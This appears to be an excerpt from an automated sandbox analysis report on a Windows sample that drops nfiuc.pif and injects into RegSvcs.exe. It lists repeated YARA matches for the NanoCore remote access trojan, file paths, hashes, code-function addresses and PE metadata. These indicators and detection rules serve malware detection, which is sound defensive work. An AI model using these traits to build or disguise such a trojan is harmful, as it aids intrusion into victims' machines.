Source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000002.00000002.922381074.0000000000502000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.679249376.0000000004121000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000002.00000002.924061373.0000000003909000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000001.00000003.677081542.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: nfiuc.pif PID: 984, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: nfiuc.pif PID: 984, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: RegSvcs.exe PID: 4876, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: RegSvcs.exe PID: 4876, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: RegSvcs.exe PID: 5660, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: RegSvcs.exe PID: 5660, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: nfiuc.pif PID: 1380, type: MEMORY	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: nfiuc.pif PID: 1380, type: MEMORY	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.3.nfiuc.pif.4272830.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.3.nfiuc.pif.4272830.2.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.RegSvcs.exe.391560b.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.RegSvcs.exe.391560b.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 11.3.nfiuc.pif.4679e70.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.4679e70.0.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.RegSvcs.exe.60a0000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.RegSvcs.exe.391b041.6.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.3.nfiuc.pif.4272830.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.3.nfiuc.pif.4272830.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 11.3.nfiuc.pif.474baa0.5.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.474baa0.5.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.RegSvcs.exe.448560b.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.RegSvcs.exe.448560b.6.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.RegSvcs.exe.349e6b0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.RegSvcs.exe.44807ce.4.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.RegSvcs.exe.60b0000.11.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.RegSvcs.exe.448b041.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.474baa0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.474baa0.5.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.RegSvcs.exe.44807ce.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.RegSvcs.exe.44807ce.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.RegSvcs.exe.28f3490.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.46e2a90.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.46e2a90.8.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.3.nfiuc.pif.4272830.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.3.nfiuc.pif.4272830.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.RegSvcs.exe.3499650.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.474baa0.6.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.474baa0.6.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.3.nfiuc.pif.4272830.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.3.nfiuc.pif.4272830.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 11.3.nfiuc.pif.4679e70.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.4679e70.2.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.RegSvcs.exe.448b041.5.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.RegSvcs.exe.60b4629.12.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.4645668.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.4645668.3.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.RegSvcs.exe.60b0000.11.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.RegSvcs.exe.500000.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.RegSvcs.exe.500000.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 1.3.nfiuc.pif.41d4c00.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 1.3.nfiuc.pif.41d4c00.0.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.RegSvcs.exe.6010000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.RegSvcs.exe.d00000.1.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.RegSvcs.exe.d00000.1.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.RegSvcs.exe.28f82f0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.RegSvcs.exe.391b041.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.RegSvcs.exe.39107ce.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 2.2.RegSvcs.exe.39107ce.5.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.RegSvcs.exe.3499650.2.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.46ae678.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.46ae678.1.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 11.3.nfiuc.pif.46e2a90.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.46e2a90.9.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 11.3.nfiuc.pif.46e2a90.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.46e2a90.7.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.RegSvcs.exe.39107ce.5.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.474baa0.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.474baa0.6.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 11.3.nfiuc.pif.46e2a90.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 11.3.nfiuc.pif.46e2a90.4.raw.unpack, type: UNPACKEDPE	Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 2.2.RegSvcs.exe.28f3490.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detetcs the Nanocore RAT Author: Florian Roth

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe

Code function: 0_2_01356FC6: __EH_prolog,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_01356FC6

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_013583C0	0_2_013583C0
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136626D	0_2_0136626D
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01370113	0_2_01370113
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0137C0B0	0_2_0137C0B0
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_013530FC	0_2_013530FC
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_013633D3	0_2_013633D3
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136F3CA	0_2_0136F3CA
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0135E510	0_2_0135E510
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0137C55E	0_2_0137C55E
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01370548	0_2_01370548
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0135F5C5	0_2_0135F5C5
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01380654	0_2_01380654
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136364E	0_2_0136364E
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_013666A2	0_2_013666A2
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01352692	0_2_01352692
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0135E973	0_2_0135E973
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136397F	0_2_0136397F
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136589E	0_2_0136589E
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136F8C6	0_2_0136F8C6
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0135BAD1	0_2_0135BAD1
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0135DADD	0_2_0135DADD
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01355D7E	0_2_01355D7E
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01373CBA	0_2_01373CBA
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0136FCDE	0_2_0136FCDE
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01366CDB	0_2_01366CDB
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_0135DF12	0_2_0135DF12
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01353EAD	0_2_01353EAD
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: 0_2_01373EE9	0_2_01373EE9
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EE98F0	1_2_00EE98F0
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EE35F0	1_2_00EE35F0
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EFC8CE	1_2_00EFC8CE
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00F0088F	1_2_00F0088F
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EFA137	1_2_00EFA137
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EF1903	1_2_00EF1903
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EF3721	1_2_00EF3721
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00F01F2C	1_2_00F01F2C
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 1_2_00EEF730	1_2_00EEF730
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 2_2_04F5E480	2_2_04F5E480
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 2_2_04F5E471	2_2_04F5E471
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 2_2_04F5BBD4	2_2_04F5BBD4
Source: C:\Users\user\AppData\Local\Temp\RegSvcs.exe	Code function: 2_2_063703F0	2_2_063703F0
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EE98F0	11_2_00EE98F0
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EE35F0	11_2_00EE35F0
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EFC8CE	11_2_00EFC8CE
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00F0088F	11_2_00F0088F
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EFA137	11_2_00EFA137
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EF1903	11_2_00EF1903
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00F03BA1	11_2_00F03BA1
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00F00DE0	11_2_00F00DE0
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EF3721	11_2_00EF3721
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00F01F2C	11_2_00F01F2C
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: 11_2_00EEF730	11_2_00EEF730

Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: String function: 00EF6B90 appears 65 times
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: String function: 00EF333F appears 36 times
Source: C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	Code function: String function: 00EF8115 appears 37 times
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: String function: 0136D870 appears 35 times
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: String function: 0136E2F0 appears 31 times
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Code function: String function: 0136D940 appears 51 times

Source: nfiuc.pif.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: nfiuc.pif.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: nfiuc.pif.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: zunUbtZ2Y3.exe, 00000000.00000002.668361622.0000000003160000.00000002.00000001.sdmp	Binary or memory string: System.OriginalFileName vs zunUbtZ2Y3.exe
Source: zunUbtZ2Y3.exe, 00000000.00000002.668480248.0000000003250000.00000002.00000001.sdmp	Binary or memory string: originalfilename vs zunUbtZ2Y3.exe
Source: zunUbtZ2Y3.exe, 00000000.00000002.668480248.0000000003250000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamepropsys.dll.mui@ vs zunUbtZ2Y3.exe
Source: zunUbtZ2Y3.exe, 00000000.00000002.668614933.0000000004FB0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameSHELL32.DLL.MUIj% vs zunUbtZ2Y3.exe
Source: zunUbtZ2Y3.exe, 00000000.00000002.667785434.0000000001340000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameWindows.Storage.dll.MUIj% vs zunUbtZ2Y3.exe

Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\zunUbtZ2Y3.exe	Section loaded: dxgidebug.dll	Jump to behavior

Source: zunUbtZ2Y3.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.708352984.000000000474B000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.708271591.0000000004718000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.677255613.000000000423F000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.677318458.0000000004272000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.679566684.00000000041A1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.679501436.00000000041D5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.710662958.0000000004646000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.710938676.0000000004611000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.707826555.00000000046AF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000B.00000003.710381105.000000000467A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000001.00000003.679383356.000000000420A000.00000004.00000001.sdmp, type: MEMORY	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000001.00000003.678729204.0000000004155000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
